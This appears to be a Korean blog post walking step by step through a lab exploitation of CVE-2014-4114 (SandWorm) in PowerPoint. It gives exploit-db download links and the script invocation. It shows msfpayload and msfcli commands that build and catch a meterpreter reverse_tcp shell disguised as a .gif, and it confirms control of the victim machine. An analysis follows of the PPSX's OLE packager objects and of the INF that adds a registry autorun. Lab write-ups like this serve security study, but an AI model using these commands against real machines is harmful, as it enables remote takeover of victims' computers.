본문 바로가기

30./35. Exploit

SandWorm exploit MS파워포인트(PPT)

SandWorm MS파워포인트(PPT) exploit


Microsoft PowerPoint Vulnerable to Zero-Day Attack


발생 원인


발생 원인은 윈도우 Object Linking과 Embedding(OLE) 속성의 부분인 PACKAGER.DLL에 취약점이 존재한다. 조작된 PowerPoint 문서를 이용하여 OLE object 내에 작성되어있는 원격 SMB 공유 서버 접속 주소로 접근 후 .INF을 로컬로 복사하여 실행이 가능하다. 이와 같은 방법으로 다른 악성 코드까지 다운로드하여 실행이 가능하다. 


공격 방법


+ CVE-2014-4114 [SandWorm]

SandWorm 취약점은 Microsoft PowerPoint 모든 버전에서 발생한다.

실행 환경 : Kali linux, Windows 7 x64 Microsoft Office Standard 2013


 사용한 exploit Code : http://www.exploit-db.com/exploits/35019/ 

 Full 버전 다운로드 : http://www.exploit-db.com/sploits/35019.tar.gz


Kali linux 는 Samba 서비스가 실행되어야 하며, 악성코드를 실행할 Window s 에서 접근이 가능해야 한다.

~ /share/35019 $ 35019.tar.gz 압축을 해제하면 아래와 같은 3개의 파일을 확인 가능하다.


~ /share/35019 $ python cve-2014-4114py 192.168.10.114 share xxx.exe

- 192.168.10.114 : 공격자 ip (samba 서비스 실행)

- share : samba 공유 폴더

- xxx.exe : dropper로 이용할 실행 파일


명령어 실행 후 생성된 ./out 폴더에서 exploit.ppsxxxx.inf을 확인 가능하다.

두 파일을 Kali 공유 폴더로 이동 시킨다.

~ /share/35019 $ cp ./* ../../../share/


metasploit을 이용하여 TCP_reverse (TCP 연결) 할 실행파일을 생성한다.

~ /share/35019 $ msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.43 LPORT=8888 exitfunc=thread X > ../../../share.xxx.gif


공유 폴더를 확인하면 exploit.ppsx, xxx,gif xxx,inf와 같이 3개의 파일을 확인 가능하다.


~ /share/35019 $ msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=192.168.1.43 LHOST=8888 E

TCP_reverse 실행 할 파일이 연결 가능한 Payload를 열어둔다.


공격당할 대상은 Windows 7 x64입니다. kali에서 Samba서비스를 통해 공유한 폴더에 접근한다. 실행창에서 \\192.168.10.114 명령어를 실행하면 공유폴더 접근 가능하다.


exploit.ppsx를 Windows Desktop에 복사한다.


실행!! 아래와 같은 러시아(?) 문자로 된 PPT를 확인 가능 합니다. PPT를 다음장으로 넘기기 위해 클릭하세요. 그럼 공유폴더에 있던 xxx.gif가 실행됩니다.


msfcli payload 연결을 위해 포트를 열고있던 Kali Linux에서 192.168.10.109:49210(Windows)에서 접속한 것을 확인 가능하다.


명령어가 생각이.. 만만한 screenshot!! 찰칵!


이미지가 저장된 경로를 확인하면 아래와 같이 ~~~~.jpeg파일을 생성을 확인한다.


잘 찍혔습니다. 짠~


끝.


분석


악성 파일 트리거로 사용한 PPSX 샘플을 분석하면 다음과 같은 콘텐츠를 확인 가능하다. 확장자를 PPSX에서 ZIP으로 변경하면 압축을 해제하여 안에 내용물을 확인 가능하다.


exploit.zip > ppt > embeddings > oleObject1.bin, oleObject2.bin


exploit.zip > ppt > sildes > xlide1.eml


exploit.zip > ppt > sildes > _rels > slide1.xml.rels


oleObject1.bin과 oleObject2.bin 컨텐츠를 따라가면 원격에 있는 공유 폴더 명과 악성파일에 접근 접근 가능한  IP 주소 확인이 가능하다.



slide1.xml 파일을 보면 "rld4"와 "rld5"라는 2개의 Packager Shell Object 볼 수 있다. 


slide1.xml.rels 파일을 보면 이전에 "rld4"와 "rld5"가 ../embeddings/oleObject1.bin, ../embeddings/oleObject2.bin으로 정의 된 것을 확인 가능하다.


slide1.xml 파일을 보면 슬라이드1을 열때 "xxx.gif"와 "xxx.inf"라는 파일이 packager.dll에 의해 로컬에 복사된다. 또한 특정 엑션을 확인하면 "-3"과 다른 값을 "3"으로 설명되어 있는 것을 확인 가능하다. 이 두개의 엑션은 OLE object를 호출하게 되며, 이 루틴은 packager!CPackage::Doverb()함수에서 확인 가능하다.


함께 생성된 xxx.inf 파일을 확인하면 하단에 xxx.gif파일을 xxx.gif.exe 파일로 인식하도록 변경하고, 레지스트리 시작에 경로를 입력하여 xxx.gif.exe가 실행되도록 설정되어 있다.

※ 참고 자료

http://www.exploit-db.com/exploits/35019/

http://thehackernews.com/2014/10/microsoft-powerpoint-vulnerable-to-zero.html

http://blog.trendmicro.com/trendlabs-security-intelligence/an-analysis-of-windows-zero-day-vulnerability-cve-2014-4114-aka-sandworm/

http://blog.vulnhunt.com/index.php/2014/10/14/cve-2014-4114_sandworm-apt-windows-ole-package-inf-arbitrary-code-execution/



SandWorm.7z